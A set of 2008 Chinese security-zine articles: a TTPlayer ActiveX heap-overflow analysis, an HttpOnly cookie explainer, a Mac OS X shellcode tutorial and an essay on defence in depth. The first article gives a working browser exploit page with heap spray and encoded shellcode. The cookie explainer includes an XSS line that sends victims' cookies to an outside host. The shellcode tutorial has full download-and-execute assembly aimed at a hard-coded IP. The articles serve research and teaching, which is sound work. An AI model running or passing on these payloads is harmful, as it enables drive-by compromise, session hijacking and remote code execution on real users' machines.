[Tips]千千静听ttp_mod.dll解析med文件堆溢出的利用分析

Author: void[at]ph4nt0m[dot]org
Blog: http://hi.baidu.com/54nop
Date: 2008-03-31

这个洞是dummy牛发现的,当时我只是看了有问题的源码就觉得最多DoS,没有去实际测试分析,惭愧.没想到dummy牛利用成功.这里事后分析一下:-)

千千静听ttp_mod.dll用的是开源代码,源代码链接:
http://gstreamer.freedesktop.org/src/gst-plugins/gst-plugins-0.8.3.tar.gz

出问题的源代码是gst-plugins-0.8.3/gst/modplug/libmodplug/load_med.cpp里的:

698   // Song Comments
699   UINT annotxt = bswapBE32(pmex->annotxt);
700   UINT annolen = bswapBE32(pmex->annolen);
701   if ((annotxt) && (annolen) && (annotxt+annolen <= dwMemLength))
702   {
703    m_lpszSongComments = new char[annolen+1];
704    memcpy(m_lpszSongComments, lpStream+annotxt, annolen);
705    m_lpszSongComments[annolen] = 0;
706   }

这是个很典型的整数溢出.annolen为0xFFFFFFFF(即有符号整数-1)时,导致703行new char[0],有趣的是这个0字节分配居然成功返回(测试见注[1]),所以即使703行后加上类似if(m_lpszSongComments) {...}的检查代码,也无济于事.




704行进行memcpy,因为annolen为0xFFFFFFFF,毫无疑问导致了堆溢出,触发内存读/写越界异常.
这里更有意思:
用od开启ie,载入poc.html(见注[2]),test.mod构造详见dummy的文章.
当ttp_mod.dll在memcpy触发越界异常后,打开SEH链窗口,将ttpctrl.dll的所有异常处理例程F2断下,Shift+F9忽略异常继续.




在ttpctrl.04EE73F1暂停,进入了CxxFrameHandler异常处理流程,F9继续运行,可以看到这个异常被千千静听处理掉了!这里很关键,直接导致后续的虚函数指针覆盖和HeapSpray利用的可能.如果异常处理例程都不进行处理,只能导致Crash!



最后,shellcode运行,突然弹出来一个窗口,很黄很暴力,我赶紧把它给关了.



除了这个load_med.cpp有问题外,这个源码包好几处都存在类似问题,有兴趣的可以看看.


注释:
注[1]:
malloc(0)的行为: http://c-faq-chn.sourceforge.net/ccfaq/node181.html
关于new char[0]堆分配的测试代码:

---[Cut Below]----------------------------

#include <stdio.h>
void main()
{
int len=0, i=0;
char* p;
len = -1;
p = new char[len];
printf("alloc 0x%08X Bytes at %p\n", len, new char[len]);

len = 0;
p = new char[len];
printf("alloc 0x%08X Bytes at %p\n", len, new char[len]);
while(1)
{
   p[i++] = 'A';
}
}

---[Cut Above]---------------------------

注[2]:
poc.html代码

---[Cut Below]----------------------------

<OBJECT ID="ttp" WIDTH="64" HEIGHT="64" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03"></OBJECT>
<OBJECT ID="ttp2" WIDTH="64" HEIGHT="64" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03"></OBJECT>
<script >
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape("%u0eeb%u4b5b%uc933%uc6b1%u3480%ufe0b%ufae2%u05eb%uede8%uffff%u17ff%ufe5d%ufefe%u94a1%ua7ce%u759a%u75ff%uf2be%u8e75%u53e2%u9675%u75f6%u9409%ua7fc%ubd16%ufefe%u1cfe%u9607%ucccd%ufefe%u8b96%u9b8d%uaa8c%ue801%u166b%ufed0%ufefe%u96ac%u8c91%ufe99%u9a96%u8a91%u96a3%uce8a%ua593%u8e96%uca96%u9690%u9fa5%ua38a%u8896%u9791%u759a%u7322%uf2b8%uadac%uacae%ua801%u01f6%ufaa8%ua8af%u8b75%u75c2%ud08a%ufd86%ua80b%u8875%ufdde%ucd0b%ub737%u53bf%u3bfd%u25cd%u40f1%uc4ee%u8a28%u3ff6%uf935%u24fd%u15be%uc50f%u8be1%ua019%ua075%ufdda%u9823%uf275%u75b5%ue2a0%u23fd%ufa75%ufd75%u553b%ua7a0%u163d%u01a6%u0101%u8acc%uf26f%u779d%ub12f%uf494%ue0c6%u2244%u3845%u44d2%u4f22%u3f57%udf58%u00fe");
var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
      spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
//ttp.URL="c://test.mod";
//ttp.URL="http://192.168.0.100/test.mod";
//ttp.controls.play();
setTimeout('ttp.URL="c:/test.mod";ttp.controls.play();',1000);
//setTimeout('ttp.openURL("http://192.168.0.100/test.mod");ttp.controls.play();',1000);
</SCRIPT>

---[Cut Above]---------------------------

[PSTZine 0x01][0x06][利用httponly提升应用程序安全性]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x06 of 0x06


|=-----------------------------------------------------------------------=|
|=-----------=[ 利用httponly提升应用程序安全性 ]=-----------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ By 剑心 ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|

随着www服务的兴起，越来越多的应用程序转向了B/S结构，这样只需要一个浏览器就可以访问各种各样的web服务，但是这样也越来越导致了越来越多的 web安全问题。www服务依赖于Http协议实现，Http是无状态的协议，所以为了在各个会话之间传递信息，就不可避免地用到Cookie或者 Session等技术来标记访问者的状态，而无论是Cookie还是Session，一般都是利用Cookie来实现的（Session其实是在浏览器的 Cookie里带了一个Token来标记，服务器取得了这个Token并且检查合法性之后就把服务器上存储的对应的状态和浏览器绑定），这样就不可避免地安全聚焦到了Cookie上面，只要获得这个Cookie，就可以取得别人的身份，这对于入侵者是一件很美妙的事情，特别当获得的Cookie属于管理员等高权限身份者时，危害就更大了。在各种web安全问题里，其中xss漏洞就因此显得格外危险。

对于应用程序来说，一旦存在了xss漏洞就意味着别人可以在你的浏览器中执行任意的js脚本，如果应用程序是开源的或者功能是公开的话，别人就可以利用 ajax使用这些功能，但是过程往往很烦琐，特别是想直接获得别人身份做随意浏览的话困难就更大。而对于不开源的应用程序，譬如某些大型站点的web后台（web2.0一个显著的特征就是大量的交互，用户往往需要跟后台的管理员交互，譬如Bug汇报，或者信息投递等等），尽管因为交互的存在可能存在跨站脚本漏洞，但是因为对后台的不了解，无法构造完美的ajax代码来利用，即使可以用js取得后台的代码并回传分析，但是过程同样烦琐而且不隐蔽。这个时候，利用xss漏洞获得Cookie或者Session劫持就很有效了，具体分析应用程序的认证，然后使用某些技巧，甚至可以即使对方退出程序也一样永久性获得对方的身份。

那么如何获得Cookie或者Session劫持呢？在浏览器中的document对象中，就储存了Cookie的信息，而利用js可以把这里面的Cookie给取出来，只要得到这个Cookie就可以拥有别人的身份了。一个很典型的xss攻击语句如下：

xss exp:

    url=document.top.location.href;
    cookie=document.cookie;
    c=new Image();
    c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url;

一些应用程序考虑到这个问题所在，所以可能会采取浏览器绑定技术，譬如将Cookie和浏览器的User-agent绑定，一旦发现修改就认为 Cookie失效。这种方法已经证明是无效的，因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定（其实就是和IP绑定，但是一些程序取得IP的方法有问题一样导致饶过），但是这样就带来很差的用户体验，更换Ip是经常的事，譬如上班与家里就是2个IP，所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行，在一些web 2.0站点很容易就取到应用程序的管理员身份。

如何保障我们的敏感Cookie安全呢？通过上面的分析，一般的Cookie都是从document对象中获得的，我们只要让敏感Cookie在浏览器 document中不可见就行了。很幸运，现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数，跟domain等其他参数一样，一旦这个HttpOnly被设置，你在浏览器的document对象中就看不到Cookie了，而浏览器在浏览的时候不受任何影响，因为Cookie 会被放在浏览器头中发送出去（包括ajax的时候），应用程序也一般不会在js里操作这些敏感Cookie的，对于一些敏感的Cookie我们采用 HttpOnly，对于一些需要在应用程序中用js操作的cookie我们就不予设置，这样就保障了Cookie信息的安全也保证了应用。关于 HttpOnly说明可以参照http://msdn2.microsoft.com/en-us/library/ms533046.aspx。

给浏览器设置Cookie的头如下：

    Set-Cookie: <name>=<value>[; <name>=<value>]
    [; expires=<date>][; domain=<domain_name>]
    [; path=<some_path>][; secure][; HttpOnly]

以php为例，在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持，譬如

    <?php

    setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

    ?>

就可以设置abc这个cookie，将其设置为HttpOnly，document将不可见这个Cookie。因为setcookie函数本质就是个 header，所以一样可以使用header来设置HttpOnly。然后再使用document.cookie就可以看到已经取不到这个Cookie 了。我们用这种方法来保护利例如Sessionid，如一些用于认证的auth-cookie，就不用担心身份被人获得了，这对于一些后台程序和 webmail提升安全性的意义是重大的。再次使用上面的攻击手法时可以看到，已经不能获取被我们设置为HttpOnly的敏感Cookie了。

但是，也可以看到HttpOnly并不是万能的，首先它并不能解决xss的问题，仍然不能抵制一些有耐心的黑客的攻击，也不能防止入侵者做ajax提交，甚至一些基于xss的proxy也出现了，但是已经可以提高攻击的门槛了，起码xss攻击不是每个脚本小子都能完成的了，而且其他的那些攻击手法因为一些环境和技术的限制，并不像Cookie窃取这种手法一样通用。

HttpOnly也是可能利用一些漏洞或者配置Bypass的，关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来，利用ajax或者flash就可以完成这种攻击，这种手法也已经在ajax和 flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo，大家知道phpinfo会将浏览器发送的http 头回显出来，其中就包括我们保护的auth信息，而这个页面经常存在在各种站点上，只要用ajax取phpinfo页面，取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露，这种攻击方式对于basic验证保护的页面一样可以攻击。

HttpOnly在IE 6以上，Firefox较新版本都得到了比较好的支持，并且在如Hotmail等应用程序里都有广泛的使用，并且已经是取得了比较好的安全效果。

[PSTZine 0x01][0x05][Shellcode For Mac OSX x86 Tips]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x05 of 0x06


|=-----------------------------------------------------------------------=|
|=-------------=[ Shellcode For Mac OSX (x86) Tips ]=--------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ By noop ]=--------------------------=|
|=------------=[ wo0wo0noop_at_gmail_dot_com ]=--------=|
|=-----------------------------------------------------------------------=|

一、hello, world

Mac OSX 目前的版本是10.5.1,其内核是基于bsd的，文件格式是自有的macho格式。市面上新的机器都是x86构架。

Mac系统对系统调用的处理与freebsd是一致的，都是通过堆栈传递函数参数。

这里举个最简单的例子来说明问题：

--------------------华丽的分割开始-----------------

global  start
start:
xor             eax,eax

jmp short       string

code:
pop             esi
push byte       15
push            esi
push byte       1
push            eax
mov             al,4
int             0x80

push            eax
mov             al,1
int             0x80

string:
call code
db      'Hello!, world!',0x0a

-----------------华丽的分割结束---------------

这是一个蛮简单的hello world,和*nix一样可以使用jmp call方法，这里做些简单的描述，照顾一下各种读者。

global start
默认是使用start的，而不是_start。
xor    eax，eax
对eax清零，
jmp short    string
跳转到string，
string：
call code
db    'Hello!, world!',0x0a
这里call会把下一行压入栈，接下来会用到，注意结尾的0xa。
code：
pop    esi  //指向 hello!,word!
push byte    15  //参数入栈,长度
push    esi        //buf指针
push byte    1   //fd
push     eax        //这里是和linux稍有区别的地方，注意要多压一个寄存器入栈
mov    al，4        //write的系统调用号
int    0x80       

push            eax
mov             al,1
int             0x80

同样道理，调用exit退出。

这里有个技巧：我们可以利用之前入栈但是没出栈的那个eax作为一个参数，所以在上一个系统调用的时候，可以考虑为下一个系统调用准备参数。

nasm编译的时候注意指定-f macho。

二、 http-download & execute

一般fbsd的shellcode到处都有的，根据Mac OSX的系统调用的变动稍作修改就可以用了。

这里我在linux shellcode的基础上改写了一个http下载执行的shellcode，这是通过底层函数实现的，而非Mac提供的封装后的调用，相对而言比较少见。

------------------------华丽的分割线开始------------------

global start
start:
xor             ecx,ecx
xor             eax,eax
cdq
push            eax
push byte       0x01
push byte       0x02
push            eax
mov             al,97
int             0x80
xchg            edi,eax

push            0x8380217d
mov             ebp, 0xaffffffd
not             ebp
push            ebp
mov             eax, esp
push byte       0x10
push            eax
push            edi
xor             eax,eax
mov             al,98
push            eax
int             0x80

push byte       0x41
mov             ebx, esp
mov             ebp, 0xfffffdfd
not             ebp
push            ebp
push            ebx
mov             al,5
push            eax
int             0x80
xchg            esi, ebx
xchg            ebx, eax

sendq:
push            0x0a0d0a0d
push            0x302e312f
push            0x50545448
push            0x20657865
push            0x2e636c61
push            0x632f2f2f
push            0x20544547
mov             ecx, esp
push byte       0x1c
push            ecx
push            edi
mov             al,0x4

_request:
push byte       0x1
int             0x80

_wait:
dec             ecx
push            ecx
push            edi
xor             eax,eax
mov             al,0x3
push byte       0x1
int             0x80
mov             eax,[ecx]
cmp             eax,0xd0a0d0a
jne             _wait
xor             eax, eax

_read:
push            ecx
push            edi
mov             al,3

_write:
push byte       0x1
int             0x80
test            eax,eax
je              close_file
push            ecx
push            ebx
mov             al,4
push byte       0x1
int             0x80
jmp             _read

close_file:
push            ebx
xor             eax,eax
push            eax
mov             al,6
int             0x80

execv:
mov             ebx,esi
push            eax
push            ebx
mov             al,59
push            eax
int             0x80

---------------------华丽的分割线结束----------------

这里我们是构造一个http的请求，然后下载到本地存为A，然后执行。

详细的分部分解释：

global start
start:
xor             ecx,ecx
xor             eax,eax
cdq
清零寄存器
push            eax
push byte       0x01
push byte       0x02
push            eax
mov             al,97
int             0x80
系统调用socket
int socket(int domain, int type, int protocol);
参数反顺序入栈，另外额外push了一个eax。
xchg            edi,eax
将返回的句柄存入edi，保存备用。
以下是connect系统调用：
push            0x8380217d
下载的服务器IP地址，可以通过工具生成，如果有0就要合理取反了。
mov             ebp, 0xaffffffd
not             ebp
通过取反，避免产生0
push            ebp
mov             eax, esp
构建一个sockaddr结构指针
push byte       0x10
push            eax
push            edi
参数依次入栈
xor             eax,eax
mov             al,98
push            eax
int             0x80
通过connect系统调用建立连接。
push byte       0x41
mov             ebx, esp
mov             ebp, 0xfffffdfd
not             ebp
push            ebp
push            ebx
mov             al,5
push            eax
int             0x80
xchg            esi, ebx
xchg            ebx, eax
通过open系统调用打开一个文件句柄，文件名为A，如果不存在，会自动创建。这里需要注意的是要将open(const char *path, int oflag, )中第一个参数保留下来。所以在系统调用之后，有这么两句：
xchg        esi, ebx
xchg        ebx, eax
将*path,也就是ebx保存到esi中，另外将返回的句柄保存到ebx中。
sendq:
push            0x0a0d0a0d
push            0x302e312f
push            0x50545448
push            0x20657865
push            0x2e636c61
push            0x632f2f2f
push            0x20544547
mov             ecx, esp
push byte       0x1c
这一段构建http请求，以及计算请求的长度（0x1c），都可以通过一个小工具生成，并且会自动对齐。
push            ecx
push            edi
之前保存的句柄edi
mov             al,0x4
_request:
push byte       0x1
int             0x80
通过write系统调用发送请求
_wait:
dec             ecx
push            ecx
push            edi
xor             eax,eax
mov             al,0x3
push byte       0x1
int             0x80
通过调用write读取服务器返回的信息
mov             eax,[ecx]
cmp             eax,0xd0a0d0a
判断是否出现0d0a0d0a来判断是否开始到数据段，是的话往下执行。
jne             _wait
否则的话跳回_wait标签继续读取
xor             eax, eax
清零eax，为下面的小循环做准备
_read:
push            ecx
push            edi
mov             al,3

_write:
push byte       0x1
int             0x80
test            eax,eax
je              close_file
push            ecx
push            ebx
mov             al,4
push byte       0x1
int             0x80
jmp             _read
这里通过巧妙地构建一个je，来判断每次读取以后是否到达文件尾部，是的话就关闭文件，否则则继续写入。
close_file:
push            ebx
xor             eax,eax
push            eax
mov             al,6
int             0x80
通过调用close来关闭文件，ebx是之前保存的句柄。
execv:
mov             ebx,esi
push            eax
push            ebx
mov             al,59
push            eax
int             0x80

通过execv系统调用来执行下载的文件。

在写这样子很长，很多系统调用的shellcode的时候，有几点值得注意：

1.尽量利用上一个系统调用最后push的那个不会出栈的“无用”内容作为下一个系统调用的参数;

2.如果出现0,可以通过取反来规避;

3.注意保存系统调用的返回值到合适的寄存器;

4.注意文件生成的权限。

这个shellcode只是一个范例，大家想写很复杂的shellcode的时候，不妨从这种类型开始。

三、几个相关工具：

1.生成http请求的工具，来自tty64.

/*
 * gen_httpreq.c, utility for generating HTTP/1.x requests for shellcodes
 *
 * SIZES:
 *
 *      HTTP/1.0 header request size - 18 bytes+
 *      HTTP/1.1 header request size - 26 bytes+
 *
 * NOTE: The length of the selected HTTP header is stored at EDX register.
 *       Thus the generated MOV instruction (to EDX/DX/DL) is size-based.
 *
 * - izik@tty64.org
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
#include <string.h>

#define X86_PUSH \
        0x68

#define X86_MOV_TO_DL(x) \
        printf("\t\"\\xb2\\x%02x\"\n", x & 0xFF);

#define X86_MOV_TO_DX(x) \
        printf("\t\"\\x66\\xba\\x%02x\\x%02x\"\n", \
        (x & 0xFF), ((x >> 8) & 0xFF));

#define X86_MOV_TO_EDX(x) \
        printf("\t\"\\xba\\x%02x\\x%02x\\x%02x\\x%02x\"\n", \
        (x & 0xFF), ((x >> 8) & 0xFF), ((x >> 16) & 0xFF), ((x >> 24) & 0xFF));

void usage(char *);
int printx(char *fmt, );

int main(int argc, char **argv) {

        if (argc < 2) {
                usage(argv[0]);
                return -1;
        }

        if (argv[2][0] != '/') {

                fprintf(stderr, "filename must begin with '/' as any sane URL! (e.g. /index.html)\n");

                return -1;
        }

        if (!strcmp(argv[1], "-0")) {

                return printx("GET %s HTTP/1.0\r\n\r\n", argv[2]);
        }

        if (!strcmp(argv[1], "-1")) {

                if (argc != 4) {

                        fprintf(stderr, "missing <host>, required parameter for HTTP/1.1 header! (e.g. www.tty64.org)\n");

                        return -1;
                }

                return printx("GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", argv[2], argv[3]);
        }

        fprintf(stderr, "%s: unknown http protocol, try -0 or -1\n", argv[1]);

        return -1;
}

/*
 * usage, display usage screen
 * * basename, barrowed argv[0]
 */

void usage(char *basename) {

        printf(
                "usage: %s <-0|-1> <filename> [<host>]\n\n"
                "\t -0, HTTP/1.0 GET request\n"
                "\t -1, HTTP/1.1 GET request\n"
                "\t <filename>, given filename (e.g. /shellcode.bin)\n"
                "\t <host>, given hostname (e.g. www.tty64.org) [required for HTTP 1.1]\n\n",
                basename);

        return ;
}

/*
 * printx, fmt string. generate the shellcode chunk
 * * fmt, given format string
 */

int printx(char *fmt, ) {
        va_list ap;
        char buf[256], pad_buf[4], *w_buf;
        int pad_length, buf_length, i, tot_length;

        memset(buf, 0x0, sizeof(buf));

        va_start(ap, fmt);
        vsnprintf(buf, sizeof(buf), fmt, ap);
        va_end(ap);

        buf_length = strlen(buf);

        printf("\nURL: %s\n", buf);
        printf("Header Length: %d bytes\n", buf_length);

        for (i = 1; buf_length > (i * 4); i++) {
                pad_length = ((i+1)*4) - buf_length;
        }

        printf("Padding Length: %d bytes\n\n", pad_length);

        tot_length = buf_length + pad_length;

        w_buf = buf;

        if (pad_length) {

                w_buf = calloc(tot_length, sizeof(char));

                if (!w_buf) {

                        perror("calloc");
                        return -1;
                }

                i = index(buf, '/') - buf;

                memset(pad_buf, 0x2f, sizeof(pad_buf));

                memcpy(w_buf, buf, i);
                memcpy(w_buf+i, pad_buf, pad_length);
                memcpy(w_buf+pad_length+i, buf+i, buf_length - i);
        }

        for (i = tot_length - 1; i > -1; i-=4) {

                printf("\t\"\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\" // pushl $0x%02x%02x%02x%02x\n",
                        X86_PUSH, w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i], w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i]);
        }

        if (pad_length) {

                free(w_buf);
        }

        //
        // The EDX register is assumed to be zero-out within the shellcode.
        //

        if (tot_length < 256) {

                // 8bit value

                X86_MOV_TO_DL(tot_length);

        } else if (tot_length < 655356) {

                // 16bit value

                X86_MOV_TO_DX(tot_length);

        } else {

                // 32bit value, rarely but possible ;-)

                X86_MOV_TO_EDX(tot_length);

        }

        fputc('\n', stdout);

        return 1;
}
}

2. 生成十六进制ip地址的工具。

/*
* one minite coding by noop
*/
#include<netinet/in.h>
#include<arpa/inet.h>
#include<stdio.h>

int main(int argc,char **argv)
{
    struct in_addr ip;
    unsigned int addr;

    if(argc != 2)
    {
        fprintf(stderr,"Usage 128.0.0.9\n");
        return 1;
    }

    inet_aton(argv[1],&ip);

    printf("0x%x\n",ntohl(ip.s_addr) );

    return 0;
}

四、总结。

这些东西也不属于我完全原创，很多东西都是从前辈那学习二来，总结了些一些经验，提供了一些范例，希望对研究Mac系统的朋友有所帮助。

另外还有一个小技巧，比较懒的人，可以考虑写一个小程序来读取macho文件中的代码部分，自动转换成shellcode，比较省力。相关资料请参考Mac的文件格式文档，我就不提供代码了，写这么个东西也不困难。

有什么问题，欢迎在幻影的邮件列表提出，我平时不怎么收邮箱的邮件，所以，单独发邮件的可能看不到。


参考文档：
[1] b-r00t's Smashing the Mac for Fun & Profit
http://www.milw0rm.com/papers/44
[2] Mac OS X PPC Shellcode Tricks -
http://www.uninformed.org/?v=1&a=1&t=pdf
[3] Mac OS X wars - a XNU Hope
http://www.phrack.org/issues.html?issue=64&id=11#article
[4] Mach-O Runtime
http://developer.apple.com/documentation/DeveloperTools/ ...
Conceptual/MachORuntime/MachORuntime.pdf
[5] Ilja's blackhat talk -
http://www.blackhat.com/presentations/bh-europe-05/ ...
BH_EU_05-Klein_Sprundel.pdf
[6] Radical Environmentalists by Netric -
http://packetstormsecurity.org/groups/netric/envpaper.pdf
[7] Non eXecutable Stack Lovin on OSX86 -
http://www.digitalmunition.com/NonExecutableLovin.txt
[8] Mach-O Infection -
http://felinemenace.org/~nemo/slides/mach-o_infection.ppt
[9] Infecting Mach-O Fies
http://vx.netlux.org/lib/vrg01.html
[10] class-dump
http://www.codethecode.com/Projects/class-dump/
[11] Architecture Spanning Shellcode -
http://www.phrack.org/archives/57/p57-0x17

[PSTZine 0x01][0x04][安全幻想曲2008]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x04 of 0x06


|=-----------------------------------------------------------------------=|
|=------------------------=[ 安全幻想曲2008 ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ By axis ]=-----------------------------=|
|=------------------=[ axis_at_ph4nt0m_dot_org ]=-----------=|
|=-----------------------------------------------------------------------=|

我见过的大多数安全人员，都对技术有着一种狂热，甚至是一种偏执。这种情绪在做安全研究员的时候是非常有好处的，因为作为研究员，可能要偏执考虑到一些极端的情况。这种钻研精神，是光靠勤奋所无法达到的。但是在甲方做安全的话，可能更多时候需要的就不是狂热，而是掌握平衡的艺术。在商业利益与安全性发生冲突时，如何处理好这个平衡，是一个关键。

举一个简单的例子来说，眼下最流行的XSS攻击，其修补方案从总体上来说，大致可以分为 escape output和filter input两种。对于狂热的安全人员来说，当然是恨不得把网站全部弄成静态的，输出都采用escape output，全部输出纯文本，就天下太平了。然而现实与理想总是有差别的，首道难关就是网站肯定会有些富文本的需求。

当安全和需求相抵触时，一定是安全给商业需求让路。这里要避免一个误区，就是安全应该是为需求而服务的，而不是成为需求的障碍。其实这个观点大多数人都心知肚明，但是在实际操作起来的时候往往会事与愿违。

再回到富文本上来，当需求决定需要有富文本输出的时候，狂热的安全人员（下称为狂战士吧）就只好退而求其次，要求对富文本做filter input，对其他没有富文本的地方做escape output。接下来问题来了，对于程序员来说，富文本往往采用了一些第三方的，或者是基于第三方的富文本编辑器，还有的是自己实现了一个。而这些富文本编辑器，往往在考虑xss defense的时候有所欠缺。这时候采用什么样的策略来做filter input，就成为了新的问题。

第一个难关就是程序员会拉上商业，一起来和狂战士PK，说filter input很容易误杀客户的正常操作，还会影响到性能。当然这小小的难关还难不倒狂战士。狂战士往往会轻蔑的一笑，然后把风险推到商业上，说出了问题让他背黑锅之类。这种狠话一放出来，商业往往就会退缩了，毕竟狂战士这么个狠角色是摆在那里的。所以最后会决定让程序员去整filter。

于是程序员简单写了个基于正则的blacklist，并且禁用了部分标签，比如script。狂战士这时候又蹦了出来，对程序员指手画脚，要求禁用 style，因为这玩意太难控制了，黑客有几百种利用style的方式；狂战士还说，基于正则的匹配这个魔法等级太低了，要换个高级魔法，比如个语法分析器，类似html purify这种，还要有log analysis和realtime monitor功能。

一般到了这个时候，程序员对狂战士的忍耐已经差不多到极限了，因为甲方网站很少以安全为主要考核因素，没人会认为一个视频网站或者是交友网站的安全需要做的比FBI更好，因为没那么大的成本投入。于是程序员说要释放这么个高级魔法需要一个团的程序员配合，还需要召唤很长时间才能放出来，所以狂战士的这个非常牛B的魔法无法完成。而一般在这个时候，程序员往往会用啥性能和稳定性之类的因素来忽悠狂战士，说这种魔法一般有一定概率会反噬，没整好就把自己整残了。

狂战士无奈之下，只好同意程序员实现一部分的魔法，filter部分过滤完整有效就行了。做好这个之后，狂战士还让程序员去对没有富文本需求的地方使用 escape output。程序员这时候对狂战士已经忍无可忍了，因为由于以前从来没有注意过xss这方面的问题，所以需要escape的地方是以“千”或者是“万” 为单位的，多如牛毛。于是程序员开始消极怠工，并且开始诉苦。这条路走不通了，狂战士只好开始寻求更好的方案。

后来狂战士回家睡了一觉，在梦中有仙人传授武艺，于是马上想到了新的办法。第一招是filter output，不过这个扯淡的方法根本属于yy，因为对服务器压力太大。第二招是使用WAF，就是web application firewall，开个虚拟补丁，这样程序员不补也能搞定web漏洞。不过这样就依赖于WAF的规则了，而且治标不治本。看来昨晚那个仙人估计是灶君一类低级的小神，尽出馊点子。看来狂战士还得继续和程序员PK下去了。

可以见到，那些牛圈里的狂战士常认为是“奇技淫巧”的XSS问题里，有这么多头疼的问题。简单的问题变得越来越复杂。

安全是一个持续的过程（process）。既然是过程，就会有第一步、第二步 ... 第N步，有一个持续的概念在里面，不能今天整了，明天就不管了。今天的安全并不代表明天的安全，新的技术和应用在不断发展，就会不断带来新的问题。经常看到一个升级反而把漏洞升级出来的例子。所以安全是一个持续的对抗过程，hacking与anti-hacking的过程，广义来说，更是一个弱化风险的过程。

很多BOSS往往都会这么问狂战士：我上了这个720安全卫士是不是桌面安全就不用管了？我上了这个卖红茶IPS是不是就能挡住所有刺客入侵了？狂战士这时候很无奈的说：不行，还是有很多trojan和rootkit可以bypass主动防御，很多shellcode和0day可以anti IPS。 于是BOSS很生气的说： 那我花这么多钱买这个做啥？ 狂战士一般会忽悠他说：上了这个可以解决90%的攻击。于是BOSS会很不满意，让狂战士出技术分析报告，一定要有充分的理由才行，狂战士往往要面对这种烦恼。

其实BOSS的这种观点是一种急功近利的想法，没有认识到安全是一个过程，并且是一个持续改进的过程。不是买个box就能解决问题的。没有100%的安全，有漏洞的地方太多了。经常有魔法师用木桶原理来阐述安全问题，但其实很多时候，连木板在哪里，到底那块木板才是短板，都没有一个很清晰的认识，因为很多时候根本无法量化，所以狂战士的工作经常陷入误区。板子太多了，系统、网络、用户、应用、数据、桌面......
放眼看去，全是短板，每块板子都能让刺客或盗贼轻松的进来，偷走核心数据或者弄摊网站然后扬长而去。或者各种短板互相组合，让问题变得更加扑朔迷离。

前面说的WAF就是一种比较功利的做法，虽然厂商经常会蹦出来说这玩意是需要有专人维护的，也是一个持续的过程。但实际上很多购买WAF的用户都没有好好的去做这个过程。其实WAF、IPS最大的软肋不是在没人跟进上，而是在于其是串联的网络上的，特别是开了虚拟补丁的阻断模式的时候。这对于高可用性的应用来说，绝对是无法忍受的。没人敢背这个误杀的黑锅。要是因此导致了PV下降，可能老板就要喊到办公室去喝茶了。不过WAF也不是完全没用，如果能够用好的话，对于网站还是还是很有帮助的，至少在monitor和攻击流量分析上起着积极的意义。不过前提是用好。

刚才说了安全是一个过程 (Process)，其实有人跟进这个过程还不够，下面还要重点说说深度防御的思想。经常看到YY小说的作者在写到黑客攻防的时候，说到XXX在xx分钟内就突破了N道防火墙，N大于100；变形金刚里也这么有这种场景。其实这纯粹是扯淡，没事整那么多防火墙做什么，无端影响了可用性。不过YY作者深度防御的理念还是正确的，只是他不知道那玩意不应该单纯叫防火墙，要想表达这个思想，可以整个专业名词，比如：多层防御体系。这样装B就可以装的比较像样了。举例来说，可以在应用层校验用户输入数据，DB层面检查每条sql，操作系统上细分权限，服务最少化，网络上防御arp spoof，加密传输通道，做好ACL......类似措施还有很多，防御的方案交叉层叠起来，就能起来一个比较好的保护效果。

不过偏偏还有不识趣的，比如前面的很多程序员都会说，我都已经做了filter input，还要escape output做啥。狂战士一般听到后会有想要狂化的冲动。按耐住狂化，告诉程序员，说filter input可能会做不干净，会被bypass，毕竟如果遇到一个手执绝世0day（bypass filter）的9级刺客，什么牛B的防御魔法都挡不住，所以能escape output的地方，最好escape掉，这样最干净。可是即便是这样做好了，还是有些会有很难处理和发现的地方，比如在DOM里的XSS，比如在JS里面一些写的很BT的地方，等。这些只能靠肉眼去看了。PK还得进行下去。

但是程序员还是不能很好的理解，他们跑出来说：我这里做了完善的 access control，只有管理员才看的到，这里就算有注射有跨站就随他去了，不需要修复。想偷这种懒的人其实不在少数。这种想法违背了深度防御的思想。先姑且不论如果管理员密码泄露，或者管理员是个内鬼的情况。如果刺客通过注射拿到了管理员密码，或者是直接通过XSS和CSRF来对后台进行注射，那么前面的 access control就完全没作用了。

